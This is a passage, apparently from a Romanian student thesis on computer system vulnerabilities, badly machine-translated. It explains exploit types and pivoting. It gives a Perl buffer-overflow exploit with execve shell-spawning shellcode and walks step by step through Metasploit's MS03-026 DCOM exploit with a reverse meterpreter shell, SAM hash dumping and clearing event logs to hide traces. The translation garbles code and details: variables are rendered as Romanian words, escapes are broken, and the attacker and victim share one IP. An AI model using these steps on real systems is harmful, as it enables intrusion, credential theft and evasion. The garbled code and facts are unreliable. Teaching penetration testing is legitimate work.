totuși posibil de asemenea să utilizați mai multe exploit-uri, prima pentru a avea acces de nivel scăzut, apoi sa redirectionati privilegii în mod repetat până când unul ajunge la rădăcină. În mod normal un singur exploit nu poate beneficia de o vulnerabilitate de software specific. Adesea, când un exploit este publicat, vulnerabilitatea este fixată prin un patch și exploatarea devine invechit până la versiunile mai noi de software disponibile. De aceea unele palarie neagra de hackeri nu publica exploit-urile lor dar păstrați-le pentru ei sau alte private hackerilor. Astfel de exploit-uri sunt mentionate ca zero zi exploateaza si pentru a obține acces la astfel de exploit-uri este principala dorinta de a celei necalificate atacatori, adesea poreclit script kiddies.
Tipuri
Exploit-uri sunt de obicei clasificate și numit de către aceste criterii:
Tipul de vulnerabilitate le exploata (Consultați vulnerabilităților pentru o listă)
Daca au nevoie de a fi executați pe aceeași mașină ca programul care are vulnerabilitatea (local) sau poate fi rulat pe o mașină la atac un program la altă mașină (de la distanță).
Rezultatul a pornit exploatarea (EoP, DoS spoofing etc.)
Sistem pivotant
Sistem pivotant se referă la o metodă utilizată de testere de penetrare care utilizează sistemul de a ataca alt compromis sisteme de pe aceeași rețea pentru a evita restricțiile firewall configurații, care poate interzice accesul direct la toate mașinile. De exemplu, dacă un atacator compromisuri un server web de pe o rețea corporativă, atacatorul poate apoi utilizați compromisă de server web de a ataca alte sisteme de pe rețea. Aceste tipuri de atacuri sunt deseori numite atacuri cu straturi multiple. Sistem pivotant este cunoscut de asemenea ca insula hopping.
Sistem pivotant pot fi distinse în proxy VPN pivotant rotind:
In general pivotant proxy descrie practica distribuind traficul prin un compromis cu ajutorul unui proxy de sarcina utilă țintă de pe mașină și de a ataca din calculator.[2] Acest tip de pivotare este limitată la anumite porturi TCP si UDP care sunt suportate de proxy.
VPN permite pivotant la atacator pentru a crea un strat de tunel criptat în compromisă mașina la rută orice trafic de rețea prin care mașina țintă, de exemplu pentru a rula o vulnerabilitate scanare pe rețeaua internă prin compromis mașinii, eficient oferind atacatorului acces la rețea completă ca în spatele firewall.
De obicei, proxy-sau aplicații VPN permite rotind sunt executate calculatorului țintă ca și sarcina utilă (software) unui exploit.
III.2.Anatomia unui exploit
Introducerea pe exploit-uri
În zilele noastre cuvântul exploit este de a deveni speriat, mii de popoare
Care sunt în domeniul ar trebui(este o trebuie să știi să) un exploit sau chiar
Cum sa se apere de eexploits.acolo sunt sute de exploit-uri
Care sunt publicate în mai multe site-uri Web exploatarii utilizând un program de rutină sau un 0 day de atac.
La proprii de operare sau gafele programul .exploateaza un program este un inteligent
Mod de a calculatorului pentru a face ceea ce doriți a, chiar dacă în prezent
Pornit programul a fost conceput pentru a preveni ca actiunile.Se poate face numai ce ai
Au programat pentru a face.Pentru a scapa de exploit ar trebui să învețe limba grupului
Ce este limba care poate vorbi direct în kernel, C,c++,Perl, Python
Programarea sistemului de fimei apeluri() putem numi kernel.Pentru mine aceste limbi
Sunt de ajuns dar din calculator sunt in evolutie nu trebuie să învățați
Alt limbaj de programare.În acest studiu nu o sa ma publica exploit dar sa explice
A face din ea, de importanta de ea și ștergerea o neînțelegere în mintea noastră,
În creierul nostru, astfel încât atunci când am citit un cod sursă nu trebuie confundate.Dar cineva
În IRC a cerut sa-mi cum multe tipuri de exploit avem .În realitate nu există
Prea multe tipuri de exploit-uri dar voi menționa cele mai importante
Exploit-uri care sunt utilizate de astăzi.
––-# exploatările de la distanță
Exploit-uri pot fi dezvoltate aproape în orice sistem de operare, dar cel mai
Confortabil OS este Linux și Windows yyyymmdd.
Avem nevoie să instalați instrumentele precum Microsoft Visual C++,python 2.7 sau perl și utilizarea lor
În CMD.Dar în Linux gcc, ca, sunt setările implicite dl GNU o redactaseră.
În Linux trebuie să fi învățat socluri pentru a obține o rutina și beneficiați de lucrarile efectuate.
Avem fimei învelișului este prea important pentru a programa un exploit.Dar în această secțiune
Scopul este înțelegerea exploatările de la distanță și crearea de bază.
Scăpa de vulnerabilitate a programului doriți sau sistemul doriți
Pentru a obține prigileges pe sistem.Aici vom merge in arta Fuzzing globalizäƒrii trimite
Multe caractere la preaplin sau la inundații și a programului Crash.Dar cum stim
Care este adresa eip, pentru a obține o poate exploata in mod ret2eip care reprezinta
Ret2eip=reveni adresa eip.im explică pași:
[Pasul unu]
Înainte de a vă dezvolta orice exploit, de care aveți nevoie pentru a determina dacă o vulnerabilitate
Există în aplicație. Aceasta este în cazul în arta de a fuzzing intră în joc.
Deoarece este de la distanță nu putem stii adresa registrul în globalizäƒrii naruite programului.
Acest pas este de a obține o mai bună fuzzer precum și cuie Metasploit.Când
Fuzzer va fi oprit doar ne obține lungimea lui char.
[Pasul doi]
Obțineți pe munca cu fuzzer.practica.Rulați-l.In acest pas am fugit de fuzzer
Și ce vom primi doar de lungimea hexa dar de a exploata un program avem nevoie de EIP.
Lungime X1H21hsdpgm234jlasn356kklasdn432210ifaslkj4120………. sd) etc.
Avem doar lungimea.
[Pasul trei]
Am descărca programul în sistemul nostru și testul cu fuzzer.ca tinta este
127.0.0.1 lansăm un debugger ca Ollydbg si vom vedea ce se va intimpla
Când pufoasa va începe. programul va fi revărsat și eip va fi pe roșu
Linie. Aici am primit ceea ce am dorit sa .Am primit eip, acum ce.
[Pasul patru]
Pregătiți shellcode.Ce este shellcode?-Shellcode este făcută în limba grupului
Cu instrucțiuni pentru a obține shell cu apelurile de sistem ca execve sau execl.
Notă #
Im având în minte că știi ansamblul și cum să obțineți shellcode de la acesta
Cu programe precum objdump, gcc etc.
[Pasul patru]
Pregătiți exploata cu necesitatea de a.În această secțiune im utilizând o perl script
Să vă prezint pe exploatarea în mod de bază.
#!/usr/bin/perl
Utilizați priza IO::;
$hederul = "TRUN /.:/"; (am pus TRUN hederul aici)
$junk = "" x model; (junk sau ca gunoaiele de la revărsare)
(putem ajunge la modelul cu
Modelul dispozitivului de metasploit_crea)
$eip = pack('v", 0x85f61a2f); ( EIP, cele mai importante de exploit)
$nop = "\x90" x 20; (NOP=nicio operație, făcând shellcode nonull)
$shellcode = (shellcode)
"\x31\xc0\x31\xdb\x31\xc9\x31\XD2\xb0\x46\\x80 xcd\x51\" +
"x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53" +
"\x89\xe1\x31\xc0\xb0\x0b\xcd\x80";
Priza de dolari = IO::Socket::INET->noi( (I/O PRIZĂ INET FAMILIA)
Proto => "tcp", (Protocolul TCP)
PeerAddr => "$ARGV[0]", (Prima Arg)
PeerPort => "$ARGV[1]", (doua Arg)
);
Socket->recv ($serverdata, 1024); (Date vom primi)
Imprimați $serverdata; (Print ca date)
Priza de dolari->Send($hederului.$junk.$eip.$nop.$shellcode); (priza cu ajutorul pentru a le trimite toate)
[Pasul cinci]
Avem exploit, acum de pe executați -l.Pentru a exploata mai sus am introduceți comanda:
Root@ADMIN~:/root$ ./exploit.pl gazdă țintă
Și dacă ar fi reușit veți obține un shell în sistem și, dacă
Au coaja puteți obține pe kernel exploit pentru a obține privilegii root. Aici vom merge
Pe exploatările locale care vor fi explicate acum.
––-# Exploit Local
Acestea sunt cele mai dificult exploit pentru a dezvolta becauze aici ar trebui să învețe mediul UNIX
Și syscalls() care sunt nedded au o carcasă pe uid.UID standuri pentru ID utilizator și
Uid de rădăcină va fi întotdeauna 0.Pentru a intelege acest tip de exploit ar trebui să știi absolut
Limba de lucru în jurul ansamblului cu __NR_$syscall.__NR_$syscall sunt enumerată în dir de
/usr/include/asm-generică/unistd.h acolo unde sunt toate numărul pentru fiecare
Ansamblul syscall().limba este cel mai utilizat pentru prepararea shellcode outthere, aici avem
Un program care este pauză.asm
Root@ADMIN~:/root$ cat pauză.asm
Secțiunea .text Secțiunea text ;
_global start ; _start este global
_start: ; funcția de pornire _
Anu sau ebx, ebx ; ebx zero în registru
Mov al, 29 ; Introduceți __NR_pause 11 syscall, consultați "Anexa A"
Int 0x80 ; Syscall executa
Asamblați și Link
Root@ADMIN~:/root$ nasm -f elf pauză.asm && ld pauză.o -o pauză
Timp pentru a rula
Root@ADMIN~:/root$ ./pauză
^c
Ea a lucrat și pauză sistemului, am folosit Ctrl-C pentru a ieși din program.
Obține acum trece indicatorul
Root@ADMIN~:/root$ objdump -d pauza.o
Pauză.o: file format elf32-i386
Dezasamblarea secțiunea .text:
00000000 <_start>:
0: 31 db Anu sau %ebx,%ebx
2: B0 1d Mov $0x1d%al
4: Cd 80 Int $0x80
Aceasta este o mică shellcode dar nu si daca acesta va fi lunga.
Am folosit pentru a face cale xxd mai ușor, vezi Apendix B.
Root@ADMIN~:/root$ ./xxd pauză.o
"\x31\xdb\xb0\x1d\\x80 xcd"
Testul Shellcode
Root@ADMIN~:/root$ ./shtest "\x31\xdb\xb0\x1d\\x80 xcd"
Shellcode la 0x804B140
Înregistrează înainte de apel:
Esp: 0xbfbf0D70, ebp: 0xbfbf0da8
: (zero) esi, Edi: (zero)
––––––––––––
^C
Aici am utilizat testerul shellcode facute de hellman, vezi Apendix C.Am văzut că sistemul
Întrerupe și executate de shellcode cu succes.
Dar scopul este de a obține exploit local de superutilizator , prin syscall poate fi facut
Daca ne folosim de rutină de la pneul până la sistem și limită de linux-astfel încât.poarta.1 pentru a obține uid=0.
Care este scopul principal al exploit local, deoarece ați exploata un sistem de care aveți nevoie
Efectuarea de acțiuni de priveleges acest sistem.Nu pot fi apelați exploateaza dar o SETUID
Program de facut cu scapi de sistem <– Ca ce Linus Torvalds a spus.
Și este de dreapta din moment ce facem un program în limba cu sistem impune ansamblului
Și ne- shell root. trece indicatorul de sunt coduri hex care fac un apel direct
De kernel. codurile astfel vorbește cu kernel și spune ea pentru a obține shell root sau
I se va revărsa ai.de a lua o scurtă înțelegere în shellcodes trebuie să citiți
Lucrările care sunt publicate în afara de pe Internet sau citit carti care sunt dedicate
Pe această programare calculator sunt de stiinta.
Dezvoltarea unui exploit local ar trebui sa ne fie stiu gramajoara fimei joacă în jurul revărsare
Cu programele, Depășiri memorii tampon de tampon cu rol funcțional registrul și
Supape hidraulice pe baza de la revărsare.
După ce ați citit-le veți obține o intelege mai bine cum functioneaza sistemul și cum
Registrul funcționează și cum să le faci ceea ce ai programat de program pentru a face.astăzi
Toate de oameni sunt concentrate pe social media si a plecat de computer science, sunt
Nu mai dedicat citirii, astăzi lechers sau script kiddies citește unele de hârtie și copierea elementelor
Programul este de a fuziona în unul și ei isi spun programatori.Nu, asta este greșită.
Niciodată nu va deveni programatori ca exemplare programele altor persoane sa o. Acest sentece pe aici.Tot ceea ce vreau sa spun ca nu avem idei de script kiddies pe sistemele
Numai daca programele de copiere, astfel încât să facă exploit local ar trebui sa avem o idee și o
Scop cu multe imaginare si aflați cum funcționează sistemul.
În mod ingenios de im sa spun ca făcând SHELLCODE și exploatare trebuie idei.
Înainte de a merge la un "real" exploit local am sa va explic și unul mai fimei shellcode
Utilizează netcat să obțineți un uid=0 gid=0 grupuri=0 shell root.
Exploatarea vulnerabilitatiilor unui system informatic
IV.1. Test de penetrare
Cand spun "Penetrarea dispozitivului de testare" primul lucru care vă vine în minte este cel mai mare proiect, cu peste Ruby 700.000 de linii de cod "etasploit". Nici nu era de mirare devenit de-facto standard pentru teste de penetrare și dezvoltarea de vulnerabilitate cu mai mult de un milion de descărcări de unică pe an și cele mai mari din lume, baza de date publice de calitate garantată exploit-uri.
În cadrul Metasploit este un program și sub-proiect dezvoltat de Metasploit LLC. Acesta a fost inițial creat în 2003 în Perl limbaj de programare, dar mai tarziu a fost complet re-scrise în limbajul de programare Ruby Cu cea mai recentă versiune (3.7.1) Metasploit a luat exploit testarea și simulare la un nivel complet nou care a musculos afară sale de mare preț omologii comerciale prin creșterea vitezei și letalitate codului de exploit în timp cât mai scurt posibil.
Cadrul Metasploit urmează anumite etape cheie pentru exploatarea unui sistem care include –
Selectati și configurați exploit sa fie descoperite. Acesta este codul care vor fi orientate spre un sistem cu intenția de a profita de un defect în software.
Validați dacă sistemul ales este susceptibil la exploatare de ales.
Selectați și configurează un payload care va fi utilizat. Această sarcină utilă reprezintă codul care va fi executat pe un sistem după o buclă de găuri a fost găsit în sistem și un punct de intrare este setat.
Selectați și configurați schema de codificare pentru a fi utilizate pentru a vă asigura că sarcina utilă să scăpăm de sisteme de detectare a intruziunilor cu ușurință.
Executa exploit.
În acest articol vom da o descriere detaliata a utilizării Metasploit cadrul pentru a executa exploit-uri cu ilustrațiile grafice și comenzi.
IV.2. Utilizarea framework-ului Metasploit
Metasploit este ușor de utilizat și este proiectată cu ușurință de utilizare în minte la ajutor testere de penetrare.
Voi fi ținând să prin acest demo în se retragă 5, așadar download că dacă nu aveți deja aceasta – Http://www.backtrack-linux.org/downloads/ motivul cu ajutorul se retragă 5 este deoarece a bibliotecilor Ruby corectă.
Cadrul Metasploit are trei medii de lucru, msfconsole, msfcli de interfață și msfweb interfață. Totuși, primar și cel mai preferat de zona de lucru este "sfconsole". Este un eficient interfață cu linie de comandă care are propriul set de comenzi și sistemul de mediu.
Înainte de executarea exploit dvs., este util să înțeleagă ce unele comenzi de Metasploit fac. Mai jos sunt câteva dintre comenzile care va utiliza majoritatea. Explicatia grafice de ieșirile lor ar fi dat ca și când noi le folosim în exploatarea unele cutii ulterior în partea de articol.
Căutare <keyword> : Introducerea textului în comanda 'Search' împreună cu cuvântul cheie liste a diverselor posibil exploit-uri care au ca model de cuvânt cheie.
Afișare exploit-uri : Introducerea textului în comanda "cum exploit-uri" conține disponibile în prezent exploit-uri. Există activation exploit de la distanță pentru diverse platforme și aplicații inclusiv Windows, Linux, IIS, Apache, si pe care ajuta la testul de flexibilitatea și înțelegeți funcționarea Metasploit.
Afișare payloads : Cu același "cum" comanda, putem de asemenea lista de payloads disponibile. Putem folosi o "cum payloads' pentru a lista payloads.
Afișare opțiuni : Introducerea textului în comanda "cum opțiuni" vă va arăta opțiuni pe care ați setat și eventual cele care este posibil să fi uitat să setați. Fiecare exploit și sarcina utilă vine cu propriile opțiuni pe care le puteți seta.
Info <tip> <numele>: Dacă doriți informații specifice despre un exploit sau de sarcina utilă, aveți posibilitatea să utilizați "info" comanda. Sa zicem si noi info complet payload "oav libclamav". Putem folosi 'info payload oav libclamav".
Utilizați <exploit_name> : Această comandă permite Metasploit de utilizare a exploata cu numele specificat.
Setați RHOST <hostname_sau_ip> : Această comandă va instrui Metasploit la țintă specificate de la gazda la distanþã.
Setați RPORT <host_Port> : Această comandă setează port care Metasploit se va conecta la gazda la distanță.
Setați PAYLOAD <generic/shell_bind_tcp> : Această comandă setează sarcina utilă care este utilizat pentru un generic de sarcina utilă care vă va oferi un shell atunci când un serviciu este exploatat.
Setați LPORT <local_Port> : Această comandă setează numărul de port ca payload va deschide pe server când un exploit este exploatata. Este important ca acest număr de port de fi un port care poate fi deschis de pe server îndelungată (nu este utilizat de către un alt serviciu și nu sunt rezervate pentru utilizarea administrative), astfel încât să setați o intamplare 4 digitnumber mai mare de 1024 și ar trebui să fie bine. Va trebui să modificați numărul de fiecare dată când exploatarea cu succes un serviciu precum.
Exploit : de fapt serviciului. activation exploit O altă versiune a exploata, incarcaturi rexploit codul exploit dvs si executa exploit. Aceasta vă permite să încercați modificări minore la codul exploit dumneavoastră fără a reporni consolă
Ajuta : "Help" comanda vă va oferi informații de bază de toate comenzile care nu sunt enumerate aici.
Acum că sunteți pregătit cu toate comenzile de bază de care aveți nevoie pentru a lansa exploit , vă permite să alegeți câteva scenarii pentru a obține controlul o mașină conectată la distanță.
Scenariu :
PC Victima –
OS: Microsoft OS
IP: IP: 192.168.42.128
Atacatorul ( ) Kali-OS:
Versiunea de kernel: GNU/Linux versiunea Metasploit:
IP: 192.168.42.128
Obiectiv-
Singura informatiile furnizate de noi despre serverul la distanță este că este un server Windows 2003 și obiectivul este de a câștiga acces la shell de acest server de la distanță.
Etapele detaliate:
Pasul 1:
Efectuați o scanare Nmap serverului la distanță 192.168.42.129
Ieșirea de scanare Nmap ne arata o serie de porturi deschise care poate fi văzut de mai jos in figura 1.
Figura 1
Putem observa că există port 135 deschis. Astfel putem căutați în script Metasploit de a exploata și a obține acces la shell dacă acest server este vulnerabil.
Pasul 2:
În copia se retragă, treceți la:
Aplicația > se retragă > Instrumente de exploatare > Rețea Exploatarea Instrumente > Cadru Metasploit > msfconsole
Figura 2
În timpul inițializării msfconsole, standard sunt efectuate controale. Dacă totul merge fine vom vedea ecranul ca în figura 3.
Pasul 3:
Acum stim ca port 135 este deschis deci, am căuta un exploit RPC în Metasploit conexe.
Pentru a lista toate exploit-uri acceptate de Metasploit folosim "show exploit-uri". Acest exploit listează toate disponibile în prezent exploit-uri și o mică parte din ea este din figura 4.
Figura 4
Așa cum poate fi observat, implicit de instalare a Metasploit cadrul 3.8.0-dev vine cu 696 exploateaza si 224 payloads, care este destul de un impresionant stocheaza astfel de diagnosticare un anumit exploit de la această listă foarte mare va fi o sarcină plictisitoare. Astfel, folosim o opțiune mai bună. Puteți fie să vizitați link Http://metasploit.com/modules/ sau alta alternativa ar fi de a utiliza "căutare <keyword>" comanda în Metasploit pentru a căuta legate exploit-uri pentru RPC.
În msfconsole de tip "search " pentru a căuta toate dcerpc exploit-urile legate de dcerpc cuvântul cheie ca ca exploit poate fi utilizată pentru a obține acces la server cu un port de vulnerabile 135. O listă a tuturor exploatările de conexe ar fi prezentate pe fereastră și aceasta este msfconsole din figura 5.
Figura 5
Pasul 4:
Acum că aveți lista de exploatările de rpc în față a tine, am nevoie de mai multe informații despre exploit inainte de utilizare. Pentru a primi mai multe informații cu privire la exploatarea puteți folosi comanda "info exploit/windows/dcerpc/MS03_026_dcom" care oferă informații precum obiective disponibile, exploatarea cerințele, detalii de vulnerabilitate în sine, și chiar referințelor unde puteți găsi mai multe informații. Acest lucru este prezentat în Figura 6.
Pasul 5:
Comanda "utilizați <exploit_name>" activează exploit de mediu pentru exploatarea <exploit_name>. În cazul nostru vom folosi comanda "utilizare exploit/windows/dcerpc/MS03_026_dcom" pentru a activa exploit noastre.
Figura 7
De la imaginea de mai sus este de observat că, după utilizarea exploit "exploit/windows/dcerpc/MS03_026_dcom" prompt trece din "msf>" la "msf exploit-ms03_026_dcom) >" care simbolizeaza ca am introdus un mediu de care exploit temporare.
Pasul 6:
Acum, avem nevoie să configurați exploata ca pe nevoia de scenariul actual. Opțiuni de "Show" Comanda afișează diferiți parametri care sunt necesare pentru exploatarea sa fie lansat corect. In cazul nostru, RPORT este deja setat la 135 și singura opțiune este la RHOST care poate fi setată cu ajutorul "set RHOST".
Vom intra în comanda "Set RHOST 192.168.42.129" și vom vedea că RHOST este setat la 192.168.42.129
Figura 8
Pasul 7:
Singurul pas rămas înainte de a ne acum lansa exploit este setarea de sarcina utilă pentru a exploata. Putem vedea toate disponibile cu ajutorul payloads "show payloads".
Cum este indicat în figura de mai jos, "show payloads" comanda va lista toate payloads care sunt compatibile cu exploatarea selectat.
Figura 9
Pentru cazul nostru, suntem cu ajutorul înapoi meterpreter tcp care poate fi setată cu ajutorul comenzii, "set de sarcina utilă windows/meterpreter/înapoi_tcp" care icre ale un shell dacă serverul la distanță este exploatat cu succes. Acum din nou trebuie să vizualizați opțiunile disponibile cu ajutorul "show options" pentru a vă asigura că toate secțiunile obligatorii sunt corect umplut astfel încât exploit este lansat corect.
Figura 10
Observam ca LHOST pentru o sarcină utilă nu este setat, astfel încât am să setați firewall IP locale 192.168.42.128 utilizând comanda "Set LHOST 192.168.42.128"
Pasul 8:
Acum că totul este pregătit și exploatarea a fost configurat corect sa în timp pentru a lansa exploit.
Puteți să utilizați "" comanda pentru a verifica dacă victima mașinii este vulnerabil la exploatarea sau nu. Această opțiune nu este prezent pentru toate exploateaza dar poate fi o adevarata bun suport înainte să exploateze efectiv serverul la distanță pentru a vă asigura că serverul la distanță nu este peticit împotriva exploatării încercați impotriva.
În afară de caz ca în figura de mai jos, nostru selectat exploit nu acceptă opțiunea de verificare. [Figura 11]
Figura 11
"exploit" comanda de fapt lanseaza un atac, face orice ca are nevoie de face să fie executate în sarcină utilă de la sistemul de la distanta.
Figura 12
Imaginea de mai sus arată că exploatarea a fost executat cu succes împotriva distanþã 192.168.42.129 datorită portului vulnerabile 135.
Acest lucru este indicat de schimbare de solicitare de "meterpreter >".
Etapa 9:
Acum ca o conexiune inversă a fost setup între victimă și mașinii noastre, avem de control complet de server.
Putem folosi comanda "ajutor" pentru a vedea care toate comenzile pot fi utilizate de către noi pe server de la distanță pentru a efectua acțiuni conexe așa cum este afișat în figura de mai jos.
Mai jos sunt rezultatele unor meterpreter comenzi.
Figura 13
"ipconfig" se imprimă mașini de la distanță toate curente de rețea TCP/IP valorile de configurare – getuid" se imprimă numele de utilizator al serverului la consola de el.
"hashdump" haldelor conținutul SAM date.
"clearev" poate fi utilizată pentru a șterge toate urmele ca ai fost vreodată pe mașină.
Astfel am folosit cu succes Metasploit cadrul pentru a sparge în telecomandă Windows 2003 Server și obțineți acces la shell care poate fi utilizat pentru a controla de la distanță și efectuați nici un fel de operații ca pentru fiecare dorinta noastra.
Potențialul framework-uli Metasploit:
Metasploit poate fi utilizat în timpul testării de penetrare a valida rapoartele de alte instrumente de evaluare vulnerabilitate automată pentru a dovedi că vulnerablity nu este un fals pozitiv și pot fi exploatate. Are grijă de a luat deoarece aceasta nu numai că dezaprobe rezultate pozitive false, dar poate de asemenea pauze de lucruri.
Metasploit poate fi utilizat pentru a testa noi vulnerabilitati care vin până aproape de zi cu zi de pe serverele de test găzduite local de a înțelege eficacitatea exploit.
Metasploit este de asemenea un mare dispozitivului de testare pentru sistemele de detectare a intruziunilor pentru a testa IDS este de succes în prevenirea atacurilor.
Copyright Notice
© Licențiada.org respectă drepturile de proprietate intelectuală și așteaptă ca toți utilizatorii să facă același lucru. Dacă consideri că un conținut de pe site încalcă drepturile tale de autor, te rugăm să trimiți o notificare DMCA.
Acest articol: Vulnerabilitatile Sistemelor Informatice (ID: 150782)
Dacă considerați că acest conținut vă încalcă drepturile de autor, vă rugăm să depuneți o cerere pe pagina noastră Copyright Takedown.
